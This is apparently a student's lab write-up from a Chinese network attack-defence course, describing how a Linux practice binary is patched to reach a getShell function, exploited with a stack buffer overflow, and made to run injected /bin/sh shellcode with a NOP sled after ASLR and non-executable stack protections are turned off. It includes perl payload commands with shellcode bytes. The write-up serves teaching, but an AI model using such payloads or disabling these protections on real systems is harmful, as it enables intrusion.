• 2019-2020-2 网络对抗技术 20175217 Exp1 PC平台逆向破解


    ##一、实验目标

    • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    ##二、实验内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 注入一个自己制作的shellcode并运行这段shellcode。

    ##三、基础知识

    ###1.NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:90
    • JNE:75
    • JE:74
    • CMP:38~3D

    ###2.掌握反汇编与十六进制编程器

    • 反汇编指令
    objdump -d <file(s)>: 将代码段反汇编;
    objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
    objdump -C <file(s)>: 将C++符号名逆向解析
    objdump -l <file(s)>: 反汇编代码中插入文件名和行号
    objdump -j section <file(s)>: 仅反汇编指定的section
    
    • 十六进制编程器:用来以16进制视图进行文本编辑的工具软件
    vim <filename>:
    以ASCII码形式显示可执行文件的内容
    :%!xxd: 将显示模式切换为16进制模式
    :%!xxd: 将16进制切换回ASCII码模式
    

    ###3.什么是漏洞,漏洞有什么危害?(自己的话)

    • 什么是漏洞?

      • 漏洞是与计算机有关的,可以被攻击者利用从而进行攻击的细节。
    • 漏洞有什么危害?

      • 漏洞如果被攻击者所利用,就可能给计算机、网络等造成严重损害,可能导致系统破坏、信息泄露、网络崩溃等问题。

    ##四、其他知识 ###1.管道(|)

    • |:是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

    ###2.输出重定向:

    • >:代表以覆盖的方式将命令的正确输出输出到指定的文件或设备当中。

    • >>:代表以追加方式输出。

    ###3.输入重定向:

    • 命令 < 文件名:把文件作为命令的输入,例如wc命令时统计行,单词书和字符的。

    ###4.EIP

    • CPU每次执行控制器读取完,相应的就再通过EIP寄存器去进行下一次的读取指令工作。每次CPU读取指令到指令缓冲区,相应的EIP寄存器的值增加,增加大小的就是读取指令的字节大小。

    ###5.NOP(滑行区)

    • 即滑行区,返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
    • 起到填充和“着陆、滑行”的作用

    ##五、实验任务

    ###任务一 直接修改程序机器指令,改变程序执行流程

    原理(思路):

    • 1.对目标文件进行反汇编,找到main函数,和要攻击的foo函数
    • 2.通过汇编指令找到main函数跳转到foo函数的指令,分析其对应的机器指令
    • 3.修改目标文件的对应的机器指令,使得main函数跳转到getShell函数

    步骤:

    • 对pwn1进行备份,备份为pwn1.bak

    • 输入指令objdump -d pwn1 | morepwn1文件进行反汇编

    • 找到main函数跳转到foo函数的指令,对反汇编的结果进行分析
      • 可以看到函数的地址为08048491,main函数中的call 8048491 <foo>指令的机器码为e8 d7 ff ff ff,下一条指令的地址为80484ba。机器码中的0xffffffd7 = 0x080484ba - 0x08048491为主函数执行位置和foo函数起始地址的差
      • 因此,想要让程序执行到getShell需更改call指令的机器码为相应地址的差,计算地址差为0x080484ba - 0x0804847d = 0xffffffc3

    • 修改目标文件机器码
      • 输入指令vi pwn1打开以ASCII码显示的文件
      • 输入指令:%!xxd将文件转换为16进制查看
      • 找到d7ffffff位置,输入i进入插入模式,将d7修改为c3
      • 输入指令:%!xxd -r将文件转化为ASCII码形式,保存并退出

    • 此时输入指令objdump -d pwn1 | more查看,发现pwn1文件已经被修改了

    结果:

    • 运行更改后的pwn1,执行getShell,得到shell提示符
    • 运行备份pwn1.bak,正常执行foo函数,实现回显功能

    ###任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序

    原理(思路):

    • 1.通过观察main函数调用的函数,观察系统预留的缓冲区的大小,用该大小加上4字节(ebp),即可得出eip(返回地址)的位置,只要让getShell的地址覆盖该eip就可以让程序执行getShell
    • 2.经分析可知应该输入缓冲区大小+4字节(ebp)+getShell的地址,使得getShell的地址覆盖eip
    • 3.因为我们没法通过键盘输入16进制值,所以先通过perl语言生成包括这样字符串的一个文件,并使用输出重定向“>”将perl生成的字符串存储到文件input中
    • 4.将input的输入,通过管道符“|”,作为目标文件的输入

    步骤:

    • 通过反汇编指令查看foo函数中为输入预留的空间

    • 计算出实现缓冲区溢出的字符数为28+4=32字节(4为EBP占用的内存空间),我们希望执行getShell函数,因此需要将getShell函数的地址放在eip(返回地址)处,即33~36字节,接下对猜想进行验证

    • 我们在gdb中输入至少36字节的数据,可以看到给出了Segmentation fault 的错误提示,同时可以查看到eip寄存器的地址为0x34333231 ,验证了将getShell的地址放在33~36字节的猜想

    • 我们将33~36字节的内容替换为getShell的地址,即x7dx84x04x08,前32字节可以任意输入

    • 由于我们无法从键盘输入16进制的值,因此运用perl语言和>输出重定向构造输入文件perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input构造输入,我们可以通过catxxd指令查看我们构造的输入文件

    结果:

    • 然后通过管道符|,输入命令(cat input; cat ) | ./pwn2将构造的输入input作为pwn2的输入并运行,结果如下:

    ###任务三 注入shellcode并执行

    原理(思路):

    • 1.设置堆栈可执行、关闭地址随机化
    • 2.根据我们的目的构造shellcode
    • 3.以retaddr+nop+shellcode(缓冲区小)或nop+shellcode+retaddr(缓冲区大)的方式构造攻击buf
    • 4.先构造一个任意的返回地址(最后不能是x0a(回车)),然后注入这段buf并运行改进程
    • 5.再打开另一个终端来调试该进程,并找到滑动区nop的地址,以确定retaddr的值
    • 6.用调试确定的返回值填入retaddr,再次注入此时的buf并运行,即可发现进程成功运行shellcode

    步骤:

    • execstack -s pwn3设置堆栈可执行
    • execstack -q pwn3查询文件的堆栈是否可执行,结果为X表示可执行
    • linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化
      • more /proc/sys/kernel/randomize_va_space查看随机化是否关闭
      • echo "0" > /proc/sys/kernel/randomize_va_space关闭随机化
      • more /proc/sys/kernel/randomize_va_space再次查看,结果为0证明已关闭

    • 参考老师给出的代码,我们首先构造一个input_shellcode
    perl -e 'print "A" x 32;print x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"'
     > input_shellcode
    
    • 在该终端中通过(cat input_shellcode;cat) | ./pwn3运行pwn3
    • 在另一个终端中输入ps -ef | grep pwn3查看pwn3的进程号

    • 启用gdb调试并定位pwn3进程
    • disassemble foo进行反编译,可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

    • 在第运行终端中按下回车继续运行, 程序执行到断点停止
    • 再在调试终端输入c继续运行程序
    • info r esp查看esp寄存器地址,此时esp的地址即为eip的地址
    • 输入x/16x 0xffffd1ac以16进制形式查看0xffffd1ac地址后面的内容
    • 可以观察到、最先出现0x90(滑行区)的位置地址为0xffffd1ac+0x00000004=0xffffd1b0

    • 将注入代码buf的地址改为0xffffd1b0

    • 输入(cat input_shellcode;cat) | ./pwn3

    结果:

    • 成功运行了shellcode

    ##六、遇到的问题和解决 问题一:

    • 在做任务一时,改完机器指令后,忘记将其转换成ASCLL码形式,就保存退出了,导致后续无法进行反汇编

    解决一:

    • 又重做了一遍,记得用:%!xxd -r转成ASCLL码形式就不会出问题

    问题二:

    • 在参考组长的博客时,发现他任务三,在调试的过程中,一直不理解为什么通过寻找esp的地址,来确定eip的地址

    解决二:

    • 后来经过组内讨论,发现是自己没有注意到断点的位置ret指令之前,已经执行过leave指令,即已经执行过pop ebp,此时esp已经指向eip了

    ##七、实验心得体会

           之前自己对网络攻防这方面也算是有点兴趣、有点好奇吧,这次,在看了老师的视频讲解之后,自己实操了一把,感觉还不错,可能是前期看视频、学知识准备的比较久,做完还有那么一点点小成就感。
           这次实验的主要困难就是在于对机器码、汇编指令、十六进制数、堆栈原理的掌握还不是很充分,一些地方理解起来比较费劲,我是看完老师的视频就开始参考着组长的博客开做了,在做的过程中,有不懂的地方,就直接上网上去查,没有的话就去问同学,和组内同学讨论,边做边学,摸着石头过河
           最后做下来,整体感觉还是不错的,也没有遇到太大的问题,所有遇到问题都得到了解决,对这次的实验内容也有了基本的了解,同时也有了很大的收获。也还有很多地方掌握的不是太好,如机器指令、汇编语言之类的,之后我也会加强学习,争取做的更好!

    ##八、参考链接

  • 相关阅读:
    Ubuntu虚拟机磁盘空间不足的解决
    eclipse启动报错 JVM terminated. Exit code=1
    Ubuntu16.04 安装eclipse
    HDU 1710 Binary Tree Traversals(二叉树)
    Ubuntu16.04 搭建伪分布式Hadoop环境
    HDU 1560 DNA sequence(IDA*)
    Go的函数
    Go的包
    Go语言开发环境搭建
    go的循环
  • 原文地址:https://www.cnblogs.com/wyf20175217/p/12391190.html
Copyright © 2020-2023  润新知